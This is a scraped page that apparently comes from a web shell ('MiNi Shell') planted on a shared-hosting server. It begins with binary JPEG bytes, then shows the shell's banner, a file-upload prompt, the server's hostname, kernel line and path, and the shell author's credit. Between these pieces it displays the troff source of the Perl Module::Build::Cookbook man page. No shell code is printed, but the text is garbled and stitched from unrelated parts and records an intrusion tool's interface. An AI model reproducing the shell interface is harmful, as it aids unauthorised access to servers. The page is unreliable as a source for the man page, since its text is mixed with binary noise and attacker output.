JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/usr/local/man/man3/

Linux boscustweb5002.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/usr/local/man/man3/Module::Build::Cookbook.3

.\" Automatically generated by Pod::Man v1.37, Pod::Parser v1.32
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sh \" Subsection heading
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings.  \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote.  | will give a
.\" real vertical bar.  \*(C+ will give a nicer C++.  Capital omega is used to
.\" do unbreakable dashes and therefore won't be available.  \*(C` and \*(C'
.\" expand to `' in nroff, nothing in troff, for use with C<>.
.tr \(*W-|\(bv\*(Tr
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
.    ds -- \(*W-
.    ds PI pi
.    if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
.    if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\"  diablo 12 pitch
.    ds L" ""
.    ds R" ""
.    ds C` ""
.    ds C' ""
'br\}
.el\{\
.    ds -- \|\(em\|
.    ds PI \(*p
.    ds L" ``
.    ds R" ''
'br\}
.\"
.\" If the F register is turned on, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index
.\" entries marked with X<> in POD.  Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.if \nF \{\
.    de IX
.    tm Index:\\$1\t\\n%\t"\\$2"
..
.    nr % 0
.    rr F
.\}
.\"
.\" For nroff, turn off justification.  Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.hy 0
.if n .na
.\"
.\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2).
.\" Fear.  Run.  Save yourself.  No user-serviceable parts.
.    \" fudge factors for nroff and troff
.if n \{\
.    ds #H 0
.    ds #V .8m
.    ds #F .3m
.    ds #[ \f1
.    ds #] \fP
.\}
.if t \{\
.    ds #H ((1u-(\\\\n(.fu%2u))*.13m)
.    ds #V .6m
.    ds #F 0
.    ds #[ \&
.    ds #] \&
.\}
.    \" simple accents for nroff and troff
.if n \{\
.    ds ' \&
.    ds ` \&
.    ds ^ \&
.    ds , \&
.    ds ~ ~
.    ds /
.\}
.if t \{\
.    ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u"
.    ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u'
.    ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u'
.    ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u'
.    ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u'
.    ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u'
.\}
.    \" troff and (daisy-wheel) nroff accents
.ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V'
.ds 8 \h'\*(#H'\(*b\h'-\*(#H'
.ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#]
.ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H'
.ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u'
.ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#]
.ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#]
.ds ae a\h'-(\w'a'u*4/10)'e
.ds Ae A\h'-(\w'A'u*4/10)'E
.    \" corrections for vroff
.if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u'
.if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u'
.    \" for low resolution devices (crt and lpr)
.if \n(.H>23 .if \n(.V>19 \
\{\
.    ds : e
.    ds 8 ss
.    ds o a
.    ds d- d\h'-1'\(ga
.    ds D- D\h'-1'\(hy
.    ds th \o'bp'
.    ds Th \o'LP'
.    ds ae ae
.    ds Ae AE
.\}
.rm #[ #] #H #V #F C
.\" ========================================================================
.\"
.IX Title "Module::Build::Cookbook 3"
.TH Module::Build::Cookbook 3 "2006-12-06" "perl v5.8.8" "User Contributed Perl Documentation"
.SH "NAME"
Module::Build::Cookbook \- Examples of Module::Build Usage
.SH "DESCRIPTION"
.IX Header "DESCRIPTION"
\&\f(CW\*(C`Module::Build\*(C'\fR isn't conceptually very complicated, but examples are
always helpful.  I got the idea for writing this cookbook when
attending Brian Ingerson's \*(L"Extreme Programming Tools for Module
Authors\*(R" presentation at \s-1YAPC\s0 2003, when he said, straightforwardly,
\&\*(L"Write A Cookbook.\*(R"
.PP
The definitional of how stuff works is in the main \f(CW\*(C`Module::Build\*(C'\fR
documentation.  It's best to get familiar with that too.
.SH "BASIC RECIPES"
.IX Header "BASIC RECIPES"
.Sh "The basic installation recipe for modules that use Module::Build"
.IX Subsection "The basic installation recipe for modules that use Module::Build"
In most cases, you can just issue the following commands:
.PP
.Vb 4
\&  perl Build.PL
\&  ./Build
\&  ./Build test
\&  ./Build install
.Ve
.PP
There's nothing complicated here \- first you're running a script
called \fIBuild.PL\fR, then you're running a (newly\-generated) script
called \fIBuild\fR and passing it various arguments.
.PP
The exact commands may vary a bit depending on how you invoke perl
scripts on your system.  For instance, if you have multiple versions
of perl installed, you can install to one particular perl's library
directories like so:
.PP
.Vb 4
\&  /usr/bin/perl5.8.1 Build.PL
\&  ./Build
\&  ./Build test
\&  ./Build install
.Ve
.PP
If you're on Windows where the current directory is always searched
first for scripts, you'll probably do something like this:
.PP
.Vb 4
\&  perl Build.PL
\&  Build
\&  Build test
\&  Build install
.Ve
.PP
On the old Mac \s-1OS\s0 (version 9 or lower) using MacPerl, you can
double-click on the \fIBuild.PL\fR script to create the \fIBuild\fR script,
then double-click on the \fIBuild\fR script to run its \f(CW\*(C`build\*(C'\fR, \f(CW\*(C`test\*(C'\fR,
and \f(CW\*(C`install\*(C'\fR actions.
.PP
The \fIBuild\fR script knows what perl was used to run \f(CW\*(C`Build.PL\*(C'\fR, so
you don't need to re-invoke the \fIBuild\fR script with the complete perl
path each time.  If you invoke it with the \fIwrong\fR perl path, you'll
get a warning or a fatal error.
.Sh "Making a \s-1CPAN\s0.pm\-compatible distribution"
.IX Subsection "Making a CPAN.pm-compatible distribution"
New versions of \s-1CPAN\s0.pm understand how to use a \fIBuild.PL\fR script,
but old versions don't.  If you want to help users who have old
versions, do the following:
.PP
Create a file in your distribution named \fIMakefile.PL\fR, with the
following contents:
.PP
.Vb 3
\&  use Module::Build::Compat;
\&  Module::Build::Compat->run_build_pl(args => \e@ARGV);
\&  Module::Build::Compat->write_makefile();
.Ve
.PP
Now \s-1CPAN\s0 will work as usual, i.e.: `perl Makefile.PL`, `make`, `make
test`, and `make install`, provided the end-user already has
\&\f(CW\*(C`Module::Build\*(C'\fR installed.
.PP
If the end-user might not have \f(CW\*(C`Module::Build\*(C'\fR installed, it's
probably best to supply a \*(L"traditional\*(R" \fIMakefile.PL\fR.  The
\&\f(CW\*(C`Module::Build::Compat\*(C'\fR module has some very helpful tools for
keeping a \fIMakefile.PL\fR in sync with a \fIBuild.PL\fR.  See its
documentation, and also the \f(CW\*(C`create_makefile_pl\*(C'\fR parameter to the
\&\f(CW\*(C`Module::Build\->new()\*(C'\fR method.
.Sh "Installing modules using the programmatic interface"
.IX Subsection "Installing modules using the programmatic interface"
If you need to build, test, and/or install modules from within some
other perl code (as opposed to having the user type installation
commands at the shell), you can use the programmatic interface.
Create a Module::Build object (or an object of a custom Module::Build
subclass) and then invoke its \f(CW\*(C`dispatch()\*(C'\fR method to run various
actions.
.PP
.Vb 9
\&  my $build = Module::Build->new
\&    (
\&     module_name => 'Foo::Bar',
\&     license     => 'perl',
\&     requires    => { 'Some::Module'   => '1.23' },
\&    );
\&  $build->dispatch('build');
\&  $build->dispatch('test', verbose => 1);
\&  $build->dispatch('install');
.Ve
.PP
The first argument to \f(CW\*(C`dispatch()\*(C'\fR is the name of the action, and any
following arguments are named parameters.
.PP
This is the interface we use to test Module::Build itself in the
regression tests.
.Sh "Installing to a temporary directory"
.IX Subsection "Installing to a temporary directory"
To create packages for package managers like RedHat's \f(CW\*(C`rpm\*(C'\fR or
Debian's \f(CW\*(C`deb\*(C'\fR, you may need to install to a temporary directory
first and then create the package from that temporary installation.
To do this, specify the \f(CW\*(C`destdir\*(C'\fR parameter to the \f(CW\*(C`install\*(C'\fR action:
.PP
.Vb 1
\&  ./Build install --destdir /tmp/my-package-1.003
.Ve
.PP
This essentially just prepends all the installation paths with the
\&\fI/tmp/my\-package\-1.003\fR directory.
.Sh "Installing to a non-standard directory"
.IX Subsection "Installing to a non-standard directory"
To install to a non-standard directory (for example, if you don't have
permission to install in the system-wide directories), you can use the
\&\f(CW\*(C`install_base\*(C'\fR:
.PP
.Vb 1
\&  ./Build install --install_base /foo/bar
.Ve
.PP
See \*(L"\s-1INSTALL\s0 \s-1PATHS\s0\*(R" in Module::Build for a much more complete
discussion of how installation paths are determined.
.Sh "Installing in the same location as ExtUtils::MakeMaker"
.IX Subsection "Installing in the same location as ExtUtils::MakeMaker"
With the introduction of \f(CW\*(C`\-\-prefix\*(C'\fR in Module::Build 0.28 and
\&\f(CW\*(C`INSTALL_BASE\*(C'\fR in ExtUtils::MakeMaker 6.31 its easy to get them both
to install to the same locations.
.PP
First, ensure you have at least version 0.28 of Module::Build
installed and 6.31 of ExtUtils::MakeMaker.  Prior versions have
differing installation behaviors.
.PP
The following installation flags are equivalent between
ExtUtils::MakeMaker and Module::Build.
.PP
.Vb 10
\&    MakeMaker             Module::Build
\&    PREFIX=...            --prefix ...
\&    INSTALL_BASE=...      --install_base ...
\&    DESTDIR=...           --destdir ...
\&    LIB=...               --install_path lib=...
\&    INSTALLDIRS=...       --installdirs ...
\&    INSTALLDIRS=perl      --installdirs core
\&    UNINST=...            --uninst ...
\&    INC=...               --extra_compiler_flags ...
\&    POLLUTE=1             --extra_compiler_flags -DPERL_POLLUTE
.Ve
.PP
For example, if you are currently installing MakeMaker modules with
this command:
.PP
.Vb 3
\&    perl Makefile.PL PREFIX=~
\&    make test
\&    make install UNINST=1
.Ve
.PP
You can install into the same location with Module::Build using this:
.PP
.Vb 3
\&    perl Build.PL --prefix ~
\&    ./Build test
\&    ./Build install --uninst 1
.Ve
.PP
\fI\f(CI\*(C`prefix\*(C'\fI vs \f(CI\*(C`install_base\*(C'\fI\fR
.IX Subsection "prefix vs install_base"
.PP
The behavior of \f(CW\*(C`prefix\*(C'\fR is complicated and depends closely on
how your Perl is configured.  The resulting installation locations
will vary from machine to machine and even different installations of
Perl on the same machine.  Because of this, its difficult to document
where \f(CW\*(C`prefix\*(C'\fR will place your modules.
.PP
In contrast, \f(CW\*(C`install_base\*(C'\fR has predictable, easy to explain
installation locations.  Now that Module::Build and MakeMaker both
have \f(CW\*(C`install_base\*(C'\fR there is little reason to use \f(CW\*(C`prefix\*(C'\fR other
than to preserve your existing installation locations.  If you are
starting a fresh Perl installation we encourage you to use
\&\f(CW\*(C`install_base\*(C'\fR.  If you have an existing installation installed via
\&\f(CW\*(C`prefix\*(C'\fR, consider moving it to an installation structure matching
\&\f(CW\*(C`install_base\*(C'\fR and using that instead.
.Sh "Running a single test file"
.IX Subsection "Running a single test file"
\&\f(CW\*(C`Module::Build\*(C'\fR supports running a single test, which enables you to
track down errors more quickly.  Use the following format:
.PP
.Vb 1
\&  ./Build test --test_files t/mytest.t
.Ve
.PP
In addition, you may want to run the test in verbose mode to get more
informative output:
.PP
.Vb 1
\&  ./Build test --test_files t/mytest.t --verbose 1
.Ve
.PP
I run this so frequently that I actually define the following shell alias:
.PP
.Vb 1
\&  alias t './Build test --verbose 1 --test_files'
.Ve
.PP
So then I can just execute \f(CW\*(C`t t/mytest.t\*(C'\fR to run a single test.
.SH "ADVANCED RECIPES"
.IX Header "ADVANCED RECIPES"
.Sh "Changing the order of the build process"
.IX Subsection "Changing the order of the build process"
The \f(CW\*(C`build_elements\*(C'\fR property specifies the steps \f(CW\*(C`Module::Build\*(C'\fR
will take when building a distribution.  To change the build order,
change the order of the entries in that property:
.PP
.Vb 4
\&  # Process pod files first
\&  my @e = @{$build->build_elements};
\&  my $i = grep {$e[$_] eq 'pod'} 0..$#e;
\&  unshift @e, splice @e, $i, 1;
.Ve
.PP
Currently, \f(CW\*(C`build_elements\*(C'\fR has the following default value:
.PP
.Vb 1
\&  [qw( PL support pm xs pod script )]
.Ve
.PP
Do take care when altering this property, since there may be
non-obvious (and non\-documented!) ordering dependencies in the
\&\f(CW\*(C`Module::Build\*(C'\fR code.
.Sh "Adding new file types to the build process"
.IX Subsection "Adding new file types to the build process"
Sometimes you might have extra types of files that you want to install
alongside the standard types like \fI.pm\fR and \fI.pod\fR files.  For
instance, you might have a \fIBar.dat\fR file containing some data
related to the \f(CW\*(C`Foo::Bar\*(C'\fR module.  Assuming the data doesn't need to
be created on the fly, the best place for it to end up is probably as
\&\fIFoo/Bar.dat\fR somewhere in perl's \f(CW@INC\fR path so \f(CW\*(C`Foo::Bar\*(C'\fR can
access it easily at runtime.  The following code from a sample
\&\f(CW\*(C`Build.PL\*(C'\fR file demonstrates how to accomplish this:
.PP
.Vb 8
\&  use Module::Build;
\&  my $build = Module::Build->new
\&    (
\&     module_name => 'Foo::Bar',
\&     ...other stuff here...
\&    );
\&  $build->add_build_element('dat');
\&  $build->create_build_script;
.Ve
.PP
This will find all \fI.dat\fR files in the \fIlib/\fR directory, copy them
to the \fIblib/lib/\fR directory during the \f(CW\*(C`build\*(C'\fR action, and install
them during the \f(CW\*(C`install\*(C'\fR action.
.PP
If your extra files aren't in the \f(CW\*(C`lib/\*(C'\fR directory, you can
explicitly say where they are, just as you'd do with \fI.pm\fR or \fI.pod\fR
files:
.PP
.Vb 9
\&  use Module::Build;
\&  my $build = new Module::Build
\&    (
\&     module_name => 'Foo::Bar',
\&     dat_files => {'some/dir/Bar.dat' => 'lib/Foo/Bar.dat'},
\&     ...other stuff here...
\&    );
\&  $build->add_build_element('dat');
\&  $build->create_build_script;
.Ve
.PP
If your extra files actually need to be created on the user's machine,
or if they need some other kind of special processing, you'll probably
want to create a special method to do so, named
\&\f(CW\*(C`process_${kind}_files()\*(C'\fR:
.PP
.Vb 15
\&  use Module::Build;
\&  my $class = Module::Build->subclass(code => <<'EOF');
\&    sub process_dat_files {
\&      my $self = shift;
\&      ... locate and process *.dat files,
\&      ... and create something in blib/lib/
\&    }
\&  EOF
\&  my $build = $class->new
\&    (
\&     module_name => 'Foo::Bar',
\&     ...other stuff here...
\&    );
\&  $build->add_build_element('dat');
\&  $build->create_build_script;
.Ve
.PP
If your extra files don't go in \fIlib/\fR but in some other place, see
\&\*(L"Adding new elements to the install process\*(R" for how to actually
get them installed.
.PP
Please note that these examples use some capabilities of Module::Build
that first appeared in version 0.26.  Before that it could certainly
still be done, but the simple cases took a bit more work.
.Sh "Adding new elements to the install process"
.IX Subsection "Adding new elements to the install process"
By default, Module::Build creates seven subdirectories of the \fIblib/\fR
directory during the build process: \fIlib/\fR, \fIarch/\fR, \fIbin/\fR,
\&\fIscript/\fR, \fIbindoc/\fR, \fIlibdoc/\fR, and \fIhtml/\fR (some of these may be
missing or empty if there's nothing to go in them).  Anything copied
to these directories during the build will eventually be installed
during the \f(CW\*(C`install\*(C'\fR action (see \*(L"\s-1INSTALL\s0 \s-1PATHS\s0\*(R" in Module::Build.
.PP
If you need to create a new type of installable element, e.g. \f(CW\*(C`conf\*(C'\fR,
then you need to tell Module::Build where things in \fIblib/conf/\fR
should be installed.  To do this, use the \f(CW\*(C`install_path\*(C'\fR parameter to
the \f(CW\*(C`new()\*(C'\fR method:
.PP
.Vb 5
\&  my $build = Module::Build->new
\&    (
\&     ...other stuff here...
\&     install_path => { conf => $installation_path }
\&    );
.Ve
.PP
Or you can call the \f(CW\*(C`install_path()\*(C'\fR method later:
.PP
.Vb 1
\&  $build->install_path->{conf} || $installation_path;
.Ve
.PP
(Sneakily, or perhaps uglily, \f(CW\*(C`install_path()\*(C'\fR returns a reference to
a hash of install paths, and you can modify that hash to your heart's
content.)
.PP
The user may also specify the path on the command line:
.PP
.Vb 1
\&  perl Build.PL --install_path conf=/foo/path/etc
.Ve
.PP
The important part, though, is that \fIsomehow\fR the install path needs
to be set, or else nothing in the \fIblib/conf/\fR directory will get
installed.
.PP
See also \*(L"Adding new file types to the build process\*(R" for how to
create the stuff in \fIblib/conf/\fR in the first place.
.SH "EXAMPLES ON CPAN"
.IX Header "EXAMPLES ON CPAN"
Several distributions on \s-1CPAN\s0 are making good use of various features
of Module::Build.  They can serve as real-world examples for others.
.Sh "SVN-Notify-Mirror"
.IX Subsection "SVN-Notify-Mirror"
<http://search.cpan.org/~jpeacock/SVN\-Notify\-Mirror/>
.PP
John Peacock, author of the \f(CW\*(C`SVN\-Notify\-Mirror\*(C'\fR distribution, says:
.ie n .IP "1. Using ""auto_features"", I check to see whether two optional modules are available \- SVN::Notify::Config and Net::SSH;" 4
.el .IP "1. Using \f(CWauto_features\fR, I check to see whether two optional modules are available \- SVN::Notify::Config and Net::SSH;" 4
.IX Item "1. Using auto_features, I check to see whether two optional modules are available - SVN::Notify::Config and Net::SSH;"
.PD 0
.ie n .IP "2. If the S::N::Config module is loaded, I automatically generate testfiles for it during Build (using the ""PL_files"" property)." 4
.el .IP "2. If the S::N::Config module is loaded, I automatically generate testfiles for it during Build (using the \f(CWPL_files\fR property)." 4
.IX Item "2. If the S::N::Config module is loaded, I automatically generate testfiles for it during Build (using the PL_files property)."
.ie n .IP "3. If the ""ssh_feature"" is available, I ask if the user wishes to perform the ssh tests (since it requires a little preliminary setup);" 4
.el .IP "3. If the \f(CWssh_feature\fR is available, I ask if the user wishes to perform the ssh tests (since it requires a little preliminary setup);" 4
.IX Item "3. If the ssh_feature is available, I ask if the user wishes to perform the ssh tests (since it requires a little preliminary setup);"
.ie n .IP "4. Only if the user has ""ssh_feature"" and answers yes to the testing, do I generate a test file." 4
.el .IP "4. Only if the user has \f(CWssh_feature\fR and answers yes to the testing, do I generate a test file." 4
.IX Item "4. Only if the user has ssh_feature and answers yes to the testing, do I generate a test file."
.PD
I'm sure I could not have handled this complexity with \s-1EU::MM\s0, but it
was very easy to do with M::B.
.Sh "Modifying an action"
.IX Subsection "Modifying an action"
Sometimes you might need an to have an action, say \f(CW\*(C`./Build install\*(C'\fR,
do something unusual.  For instance, you might need to change the
ownership of a file or do something else peculiar to your application.
.PP
You can subclass \f(CW\*(C`Module::Build\*(C'\fR on the fly using the \f(CW\*(C`subclass()\*(C'\fR
method and override the methods that perform the actions. You may need
to read through \f(CW\*(C`Module::Build::Authoring\*(C'\fR to find the methods you
want to override, but the general pattern is \f(CW\*(C`ACTION_\*(C'\fR followed by
the name of the action you want to modify.  Here's an example of how
it would work for \f(CW\*(C`install\*(C'\fR:
.PP
.Vb 5
\&  # Build.PL
\&  use Module::Build;
\&  my $class = Module::Build->subclass(
\&      class => "Module::Build::Custom",
\&      code => <<'SUBCLASS' );
.Ve
.PP
.Vb 6
\&  sub ACTION_install {
\&      my $self = shift;
\&      # YOUR CODE HERE
\&      $self->SUPER::ACTION_install;
\&  }
\&  SUBCLASS
.Ve
.PP
.Vb 4
\&  $class->new(
\&      module_name => 'Your::Module',
\&      # rest of the usual Module::Build parameters
\&  )->create_build_script;
.Ve
.PP
See the Module::Build::Authoring pod in 0.27 or above for more
complete documentation on this.
.SH "AUTHOR"
.IX Header "AUTHOR"
Ken Williams <ken@cpan.org>
.SH "COPYRIGHT"
.IX Header "COPYRIGHT"
Copyright (c) 2001\-2005 Ken Williams.  All rights reserved.
.PP
This library is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.
.SH "SEE ALSO"
.IX Header "SEE ALSO"
\&\fIperl\fR\|(1), Module::Build(3), Module::Build::Authoring(3),
Module::Build::API(3)

Creat By MiNi SheLL
Email: devilkiller@gmail.com